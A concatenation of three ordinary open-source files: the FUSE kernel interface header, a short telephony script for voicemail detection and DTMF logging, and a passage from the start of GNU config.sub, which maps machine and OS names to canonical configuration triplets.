/* FUSE: Filesystem in Userspace Copyright (C) 2001-2006 Miklos Szeredi <[email protected]> This program can be distributed under the terms of the GNU GPL. See the file COPYING. */ /* This file defines the kernel interface of FUSE */ #include <asm/types.h> #include <linux/major.h> /** Version number of this interface */ #define FUSE_KERNEL_VERSION 7 /** Minor version number of this interface */ #define FUSE_KERNEL_MINOR_VERSION 8 /** The node ID of the root inode */ #define FUSE_ROOT_ID 1 /** The major number of the fuse character device */ #define FUSE_MAJOR MISC_MAJOR /** The minor number of the fuse character device */ #define FUSE_MINOR 229 /* Make sure all structures are padded to 64bit boundary, so 32bit userspace works under 64bit kernels */ struct fuse_attr { __u64 ino; __u64 size; __u64 blocks; __u64 atime; __u64 mtime; __u64 ctime; __u32 atimensec; __u32 mtimensec; __u32 ctimensec; __u32 mode; __u32 nlink; __u32 uid; __u32 gid; __u32 rdev; }; struct fuse_kstatfs { __u64 blocks; __u64 bfree; __u64 bavail; __u64 files; __u64 ffree; __u32 bsize; __u32 namelen; __u32 frsize; __u32 padding; __u32 spare[6]; }; struct fuse_file_lock { __u64 start; __u64 end; __u32 type; __u32 pid; /* tgid */ }; /** * Bitmasks for fuse_setattr_in.valid */ #define FATTR_MODE (1 << 0) #define FATTR_UID (1 << 1) #define FATTR_GID (1 << 2) #define FATTR_SIZE (1 << 3) #define FATTR_ATIME (1 << 4) #define FATTR_MTIME (1 << 5) #define FATTR_FH (1 << 6) /** * Flags returned by the OPEN request * * FOPEN_DIRECT_IO: bypass page cache for this open file * FOPEN_KEEP_CACHE: don't invalidate the data cache on open */ #define FOPEN_DIRECT_IO (1 << 0) #define FOPEN_KEEP_CACHE (1 << 1) /** * INIT request/reply flags */ #define FUSE_ASYNC_READ (1 << 0) #define FUSE_POSIX_LOCKS (1 << 1) /** * Release flags */ #define FUSE_RELEASE_FLUSH (1 << 0) enum fuse_opcode { FUSE_LOOKUP = 1, FUSE_FORGET = 2, /* no reply */ FUSE_GETATTR = 3, FUSE_SETATTR = 4, FUSE_READLINK = 5, FUSE_SYMLINK = 6, FUSE_MKNOD = 8, FUSE_MKDIR = 9, FUSE_UNLINK = 10, FUSE_RMDIR = 11, FUSE_RENAME = 12, FUSE_LINK = 13, FUSE_OPEN = 14, FUSE_READ = 15, FUSE_WRITE = 16, FUSE_STATFS = 17, FUSE_RELEASE = 18, FUSE_FSYNC = 20, FUSE_SETXATTR = 21, FUSE_GETXATTR = 22, FUSE_LISTXATTR = 23, FUSE_REMOVEXATTR = 24, FUSE_FLUSH = 25, FUSE_INIT = 26, FUSE_OPENDIR = 27, FUSE_READDIR = 28, FUSE_RELEASEDIR = 29, FUSE_FSYNCDIR = 30, FUSE_GETLK = 31, FUSE_SETLK = 32, FUSE_SETLKW = 33, FUSE_ACCESS = 34, FUSE_CREATE = 35, FUSE_INTERRUPT = 36, FUSE_BMAP = 37, FUSE_DESTROY = 38, }; /* The read buffer is required to be at least 8k, but may be much larger */ #define FUSE_MIN_READ_BUFFER 8192 struct fuse_entry_out { __u64 nodeid; /* Inode ID */ __u64 generation; /* Inode generation: nodeid:gen must be unique for the fs's lifetime */ __u64 entry_valid; /* Cache timeout for the name */ __u64 attr_valid; /* Cache timeout for the attributes */ __u32 entry_valid_nsec; __u32 attr_valid_nsec; struct fuse_attr attr; }; struct fuse_forget_in { __u64 nlookup; }; struct fuse_attr_out { __u64 attr_valid; /* Cache timeout for the attributes */ __u32 attr_valid_nsec; __u32 dummy; struct fuse_attr attr; }; struct fuse_mknod_in { __u32 mode; __u32 rdev; }; struct fuse_mkdir_in { __u32 mode; __u32 padding; }; struct fuse_rename_in { __u64 newdir; }; struct fuse_link_in { __u64 oldnodeid; }; struct fuse_setattr_in { __u32 valid; __u32 padding; __u64 fh; __u64 size; __u64 unused1; __u64 atime; __u64 mtime; __u64 unused2; __u32 atimensec; __u32 mtimensec; __u32 unused3; __u32 mode; __u32 unused4; __u32 uid; __u32 gid; __u32 unused5; }; struct fuse_open_in { __u32 flags; __u32 mode; }; struct fuse_open_out { __u64 fh; __u32 open_flags; __u32 padding; }; struct fuse_release_in { __u64 fh; __u32 flags; __u32 release_flags; __u64 lock_owner; }; struct fuse_flush_in { __u64 fh; __u32 unused; __u32 padding; __u64 lock_owner; }; struct fuse_read_in { __u64 fh; __u64 offset; __u32 size; __u32 padding; }; struct fuse_write_in { __u64 fh; __u64 offset; __u32 size; __u32 write_flags; }; struct fuse_write_out { __u32 size; __u32 padding; }; #define FUSE_COMPAT_STATFS_SIZE 48 struct fuse_statfs_out { struct fuse_kstatfs st; }; struct fuse_fsync_in { __u64 fh; __u32 fsync_flags; __u32 padding; }; struct fuse_setxattr_in { __u32 size; __u32 flags; }; struct fuse_getxattr_in { __u32 size; __u32 padding; }; struct fuse_getxattr_out { __u32 size; __u32 padding; }; struct fuse_lk_in { __u64 fh; __u64 owner; struct fuse_file_lock lk; }; struct fuse_lk_out { struct fuse_file_lock lk; }; struct fuse_access_in { __u32 mask; __u32 padding; }; struct fuse_init_in { __u32 major; __u32 minor; __u32 max_readahead; __u32 flags; }; struct fuse_init_out { __u32 major; __u32 minor; __u32 max_readahead; __u32 flags; __u32 unused; __u32 max_write; }; struct fuse_interrupt_in { __u64 unique; }; struct fuse_bmap_in { __u64 block; __u32 blocksize; __u32 padding; }; struct fuse_bmap_out { __u64 block; }; struct fuse_in_header { __u32 len; __u32 opcode; __u64 unique; __u64 nodeid; __u32 uid; __u32 gid; __u32 pid; __u32 padding; }; struct fuse_out_header { __u32 len; __s32 error; __u64 unique; }; struct fuse_dirent { __u64 ino; __u64 off; __u32 namelen; __u32 type; char name[0]; }; #define FUSE_NAME_OFFSET ((unsigned) ((struct fuse_dirent *) 0)->name) #define FUSE_DIRENT_ALIGN(x) (((x) + sizeof(__u64) - 1) & ~(sizeof(__u64) - 1)) #define FUSE_DIRENT_SIZE(d) \ FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET + (d)->namelen)
{ "pile_set_name": "Github" }
function onInput(s, type, obj, arg) { try { if(type == "dtmf") { console_log("info", "DTMF digit: "+s.name+" ["+obj.digit+"] len ["+obj.duration+"]\n"); } else if(type == "event" && session.getVariable("vmd_detect") == "TRUE") { console_log("info", "Voicemail Detected\n"); } } catch(e) { console_log("err", e + "\n"); } return true; } session.answer(); session.execute("vmd", "start"); while(session.ready()) { session.streamFile(argv[0], onInput); }
{ "pile_set_name": "Github" }
#! /bin/sh # Configuration validation subroutine script. # Copyright 1992-2018 Free Software Foundation, Inc. timestamp='2018-07-03' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see <https://www.gnu.org/licenses/>. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that # program. This Exception is an additional permission under section 7 # of the GNU General Public License, version 3 ("GPLv3"). # Please send patches to <[email protected]>. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # You can get the latest version of this script from: # https://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS or ALIAS Canonicalize a configuration name. Options: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to <[email protected]>." version="\ GNU config.sub ($timestamp) Copyright 1992-2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo "$1" exit ;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Split fields of configuration type IFS="-" read -r field1 field2 field3 field4 <<EOF $1 EOF # Separate into logical components for further validation case $1 in *-*-*-*-*) echo Invalid configuration \`"$1"\': more than four components >&2 exit 1 ;; *-*-*-*) basic_machine=$field1-$field2 os=$field3-$field4 ;; *-*-*) # Ambiguous whether COMPANY is present, or skipped and KERNEL-OS is two # parts maybe_os=$field2-$field3 case $maybe_os in nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc \ | linux-newlib* | linux-musl* | linux-uclibc* | uclinux-uclibc* \ | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* \ | netbsd*-eabi* | kopensolaris*-gnu* | cloudabi*-eabi* \ | storm-chaos* | os2-emx* | rtmk-nova*) basic_machine=$field1 os=$maybe_os ;; android-linux) basic_machine=$field1-unknown os=linux-android ;; *) basic_machine=$field1-$field2 os=$field3 ;; esac ;; *-*) # Second component is usually, but not always the OS case $field2 in # Prevent following clause from handling this valid os sun*os*) basic_machine=$field1 os=$field2 ;; # Manufacturers dec* | mips* | sequent* | encore* | pc532* | sgi* | sony* \ | att* | 7300* | 3300* | delta* | motorola* | sun[234]* \ | unicom* | ibm* | next | hp | isi* | apollo | altos* \ | convergent* | ncr* | news | 32* | 3600* | 3100* | hitachi* \ | c[123]* | convex* | sun | crds | omron* | dg | ultra | tti* \ | harris | dolphin | highlevel | gould | cbm | ns | masscomp \ | apple | axis | knuth | cray | microblaze* \ | sim | cisco | oki | wec | wrs | winbond) basic_machine=$field1-$field2 os= ;; *) basic_machine=$field1 os=$field2 ;; esac ;; *) # Convert single-component short-hands not valid as part of # multi-component configurations. case $field1 in 386bsd) basic_machine=i386-pc os=bsd ;; a29khif) basic_machine=a29k-amd os=udi ;; adobe68k) basic_machine=m68010-adobe os=scout ;; am29k) basic_machine=a29k-none os=bsd ;; amdahl) basic_machine=580-amdahl os=sysv ;; amigaos | amigados) basic_machine=m68k-unknown os=amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=sysv4 ;; apollo68) basic_machine=m68k-apollo os=sysv ;; apollo68bsd) basic_machine=m68k-apollo os=bsd ;; aros) basic_machine=i386-pc os=aros ;; aux) basic_machine=m68k-apple os=aux ;; balance) basic_machine=ns32k-sequent os=dynix ;; blackfin) basic_machine=bfin-unknown os=linux ;; cegcc) basic_machine=arm-unknown os=cegcc ;; cray) basic_machine=j90-cray os=unicos ;; craynv) basic_machine=craynv-cray os=unicosmp ;; delta88) basic_machine=m88k-motorola os=sysv3 ;; dicos) basic_machine=i686-pc os=dicos ;; djgpp) basic_machine=i586-pc os=msdosdjgpp ;; ebmon29k) basic_machine=a29k-amd os=ebmon ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=ose ;; gmicro) basic_machine=tron-gmicro os=sysv ;; go32) basic_machine=i386-pc os=go32 ;; h8300hms) basic_machine=h8300-hitachi os=hms ;; h8300xray) basic_machine=h8300-hitachi os=xray ;; h8500hms) basic_machine=h8500-hitachi os=hms ;; harris) basic_machine=m88k-harris os=sysv3 ;; hp300bsd) basic_machine=m68k-hp os=bsd ;; hp300hpux) basic_machine=m68k-hp os=hpux ;; hppaosf) basic_machine=hppa1.1-hp os=osf ;; hppro) basic_machine=hppa1.1-hp os=proelf ;; i386mach) basic_machine=i386-mach os=mach ;; vsta) basic_machine=i386-unknown os=vsta ;; isi68 | isi) basic_machine=m68k-isi os=sysv ;; m68knommu) basic_machine=m68k-unknown os=linux ;; magnum | m3230) basic_machine=mips-mips os=sysv ;; merlin) basic_machine=ns32k-utek os=sysv ;; mingw64) basic_machine=x86_64-pc os=mingw64 ;; mingw32) basic_machine=i686-pc os=mingw32 ;; mingw32ce) basic_machine=arm-unknown os=mingw32ce ;; monitor) basic_machine=m68k-rom68k os=coff ;; morphos) basic_machine=powerpc-unknown os=morphos ;; moxiebox) basic_machine=moxie-unknown os=moxiebox ;; msdos) basic_machine=i386-pc os=msdos ;; msys) basic_machine=i686-pc os=msys ;; mvs) basic_machine=i370-ibm os=mvs ;; nacl) basic_machine=le32-unknown os=nacl ;; ncr3000) basic_machine=i486-ncr os=sysv4 ;; netbsd386) basic_machine=i386-unknown os=netbsd ;; netwinder) basic_machine=armv4l-rebel os=linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=newsos ;; news1000) basic_machine=m68030-sony os=newsos ;; necv70) basic_machine=v70-nec os=sysv ;; nh3000) basic_machine=m68k-harris os=cxux ;; nh[45]000) basic_machine=m88k-harris os=cxux ;; nindy960) basic_machine=i960-intel os=nindy ;; mon960) basic_machine=i960-intel os=mon960 ;; nonstopux) basic_machine=mips-compaq os=nonstopux ;; os400) basic_machine=powerpc-ibm os=os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=ose ;; os68k) basic_machine=m68k-none os=os68k ;; paragon) basic_machine=i860-intel os=osf ;; parisc) basic_machine=hppa-unknown os=linux ;; pw32) basic_machine=i586-unknown os=pw32 ;; rdos | rdos64) basic_machine=x86_64-pc os=rdos ;; rdos32) basic_machine=i386-pc os=rdos ;; rom68k) basic_machine=m68k-rom68k os=coff ;; sa29200) basic_machine=a29k-amd os=udi ;; sei) basic_machine=mips-sei os=seiux ;; sps7) basic_machine=m68k-bull os=sysv2 ;; stratus) basic_machine=i860-stratus os=sysv4 ;; sun2os3) basic_machine=m68000-sun os=sunos3 ;; sun2os4) basic_machine=m68000-sun os=sunos4 ;; sun3os3) basic_machine=m68k-sun os=sunos3 ;; sun3os4) basic_machine=m68k-sun os=sunos4 ;; sun4os3) basic_machine=sparc-sun os=sunos3 ;; sun4os4) basic_machine=sparc-sun os=sunos4 ;; sun4sol2) basic_machine=sparc-sun os=solaris2 ;; sv1) basic_machine=sv1-cray os=unicos ;; symmetry) basic_machine=i386-sequent os=dynix ;; t3e) basic_machine=alphaev5-cray os=unicos ;; t90) basic_machine=t90-cray os=unicos ;; toad1) basic_machine=pdp10-xkl os=tops20 ;; tpf) basic_machine=s390x-ibm os=tpf ;; udi29k) basic_machine=a29k-amd os=udi ;; ultra3) basic_machine=a29k-nyu os=sym1 ;; v810 | necv810) basic_machine=v810-nec os=none ;; vaxv) basic_machine=vax-dec os=sysv ;; vms) basic_machine=vax-dec os=vms ;; vxworks960) basic_machine=i960-wrs os=vxworks ;; vxworks68) basic_machine=m68k-wrs os=vxworks ;; vxworks29k) basic_machine=a29k-wrs os=vxworks ;; xbox) basic_machine=i686-pc os=mingw32 ;; ymp) basic_machine=ymp-cray os=unicos ;; *) basic_machine=$1 os= ;; esac ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | aarch64 | aarch64_be \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arceb \ | arm | arm[bl]e | arme[lb] | armv[2-8] | armv[3-8][lb] | armv6m | armv[78][arm] \ | avr | avr32 \ | ba \ | be32 | be64 \ | bfin \ | c4x | c8051 | clipper | csky \ | d10v | d30v | dlx | dsp16xx \ | e2k | epiphany \ | fido | fr30 | frv | ft32 \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | hexagon \ | i370 | i860 | i960 | ia16 | ia64 \ | ip2k | iq2000 \ | k1om \ | le32 | le64 \ | lm32 \ | m32c | m32r | m32rle | m68000 | m68k | m88k \ | maxq | mb | microblaze | microblazeel | mcore | mep | metag \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64octeon | mips64octeonel \ | mips64orion | mips64orionel \ | mips64r5900 | mips64r5900el \ | mips64vr | mips64vrel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mips64vr5900 | mips64vr5900el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa32r6 | mipsisa32r6el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64r6 | mipsisa64r6el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipsr5900 | mipsr5900el \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | moxie \ | mt \ | msp430 \ | nds32 | nds32le | nds32be \ | nfp \ | nios | nios2 | nios2eb | nios2el \ | ns16k | ns32k \ | open8 | or1k | or1knd | or32 \ | pdp10 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle \ | pru \ | pyramid \ | riscv | riscv32 | riscv64 \ | rl78 | rx \ | score \ | sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[234]eb | sheb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \ | sparcv8 | sparcv9 | sparcv9b | sparcv9v \ | spu \ | tahoe | tic4x | tic54x | tic55x | tic6x | tic80 | tron \ | ubicom32 \ | v850 | v850e | v850e1 | v850e2 | v850es | v850e2v3 \ | visium \ | wasm32 \ | x86 | xc16x | xstormy16 | xtensa \ | z8k | z80) basic_machine=$basic_machine-unknown ;; c54x) basic_machine=tic54x-unknown ;; c55x) basic_machine=tic55x-unknown ;; c6x) basic_machine=tic6x-unknown ;; leon|leon[3-9]) basic_machine=sparc-$basic_machine ;; m6811 | m68hc11 | m6812 | m68hc12 | m68hcs12x | nvptx | picochip) basic_machine=$basic_machine-unknown os=${os:-none} ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65) ;; m9s12z | m68hcs12z | hcs12z | s12z) basic_machine=s12z-unknown os=${os:-none} ;; ms1) basic_machine=mt-unknown ;; strongarm | thumb | xscale) basic_machine=arm-unknown ;; xgate) basic_machine=$basic_machine-unknown os=${os:-none} ;; xscaleeb) basic_machine=armeb-unknown ;; xscaleel) basic_machine=armel-unknown ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | aarch64-* | aarch64_be-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* | arceb-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* | avr32-* \ | ba-* \ | be32-* | be64-* \ | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* \ | c8051-* | clipper-* | craynv-* | csky-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | e2k-* | elxsi-* \ | f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | hexagon-* \ | i*86-* | i860-* | i960-* | ia16-* | ia64-* \ | ip2k-* | iq2000-* \ | k1om-* \ | le32-* | le64-* \ | lm32-* \ | m32c-* | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | maxq-* | mcore-* | metag-* \ | microblaze-* | microblazeel-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64octeon-* | mips64octeonel-* \ | mips64orion-* | mips64orionel-* \ | mips64r5900-* | mips64r5900el-* \ | mips64vr-* | mips64vrel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mips64vr5900-* | mips64vr5900el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa32r6-* | mipsisa32r6el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64r6-* | mipsisa64r6el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipsr5900-* | mipsr5900el-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | mt-* \ | msp430-* \ | nds32-* | nds32le-* | nds32be-* \ | nfp-* \ | nios-* | nios2-* | nios2eb-* | nios2el-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | open8-* \ | or1k*-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* \ | pru-* \ | pyramid-* \ | riscv-* | riscv32-* | riscv64-* \ | rl78-* | romp-* | rs6000-* | rx-* \ | sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \ | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | sv1-* | sx*-* \ | tahoe-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ | tile*-* \ | tron-* \ | ubicom32-* \ | v850-* | v850e-* | v850e1-* | v850es-* | v850e2-* | v850e2v3-* \ | vax-* \ | visium-* \ | wasm32-* \ | we32k-* \ | x86-* | x86_64-* | xc16x-* | xps100-* \ | xstormy16-* | xtensa*-* \ | ymp-* \ | z8k-* | z80-*) ;; # Recognize the basic CPU types without company name, with glob match. xtensa*) basic_machine=$basic_machine-unknown ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; abacus) basic_machine=abacus-unknown ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; amiga | amiga-*) basic_machine=m68k-unknown ;; asmjs) basic_machine=asmjs-unknown ;; blackfin-*) basic_machine=bfin-`echo "$basic_machine" | sed 's/^[^-]*-//'` os=linux ;; bluegene*) basic_machine=powerpc-ibm os=cnk ;; c54x-*) basic_machine=tic54x-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; c55x-*) basic_machine=tic55x-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; c6x-*) basic_machine=tic6x-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; c90) basic_machine=c90-cray os=${os:-unicos} ;; convex-c1) basic_machine=c1-convex os=bsd ;; convex-c2) basic_machine=c2-convex os=bsd ;; convex-c32) basic_machine=c32-convex os=bsd ;; convex-c34) basic_machine=c34-convex os=bsd ;; convex-c38) basic_machine=c38-convex os=bsd ;; cr16 | cr16-*) basic_machine=cr16-unknown os=${os:-elf} ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=${os:-elf} ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=${os:-bosx} ;; dpx2*) basic_machine=m68k-bull os=sysv3 ;; e500v[12]) basic_machine=powerpc-unknown os=$os"spe" ;; e500v[12]-*) basic_machine=powerpc-`echo "$basic_machine" | sed 's/^[^-]*-//'` os=$os"spe" ;; encore | umax | mmax) basic_machine=ns32k-encore ;; elxsi) basic_machine=elxsi-elxsi os=${os:-bsd} ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=hiuxwe2 ;; hp300-*) basic_machine=m68k-hp ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; i*86v32) basic_machine=`echo "$1" | sed -e 's/86.*/86-pc/'` os=sysv32 ;; i*86v4*) basic_machine=`echo "$1" | sed -e 's/86.*/86-pc/'` os=sysv4 ;; i*86v) basic_machine=`echo "$1" | sed -e 's/86.*/86-pc/'` os=sysv ;; i*86sol2) basic_machine=`echo "$1" | sed -e 's/86.*/86-pc/'` os=solaris2 ;; j90 | j90-cray) basic_machine=j90-cray os=${os:-unicos} ;; iris | iris4d) basic_machine=mips-sgi case $os in irix*) ;; *) os=irix4 ;; esac ;; leon-*|leon[3-9]-*) basic_machine=sparc-`echo "$basic_machine" | sed 's/-.*//'` ;; m68knommu-*) basic_machine=m68k-`echo "$basic_machine" | sed 's/^[^-]*-//'` os=linux ;; microblaze*) basic_machine=microblaze-xilinx ;; miniframe) basic_machine=m68000-convergent ;; *mint | mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=mint ;; mips3*-*) basic_machine=`echo "$basic_machine" | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo "$basic_machine" | sed -e 's/mips3/mips64/'`-unknown ;; ms1-*) basic_machine=`echo "$basic_machine" | sed -e 's/ms1-/mt-/'` ;; news-3600 | risc-news) basic_machine=mips-sony os=newsos ;; next | m*-next) basic_machine=m68k-next case $os in nextstep* ) ;; ns2*) os=nextstep2 ;; *) os=nextstep3 ;; esac ;; np1) basic_machine=np1-gould ;; neo-tandem) basic_machine=neo-tandem ;; nse-tandem) basic_machine=nse-tandem ;; nsr-tandem) basic_machine=nsr-tandem ;; nsv-tandem) basic_machine=nsv-tandem ;; nsx-tandem) basic_machine=nsx-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=proelf ;; openrisc | openrisc-*) basic_machine=or32-unknown ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=hiuxwe2 ;; parisc-*) basic_machine=hppa-`echo "$basic_machine" | sed 's/^[^-]*-//'` os=linux ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pc98) basic_machine=i386-pc ;; pc98-*) basic_machine=i386-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc | ppcbe) basic_machine=powerpc-unknown ;; ppc-* | ppcbe-*) basic_machine=powerpc-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle) basic_machine=powerpcle-unknown ;; 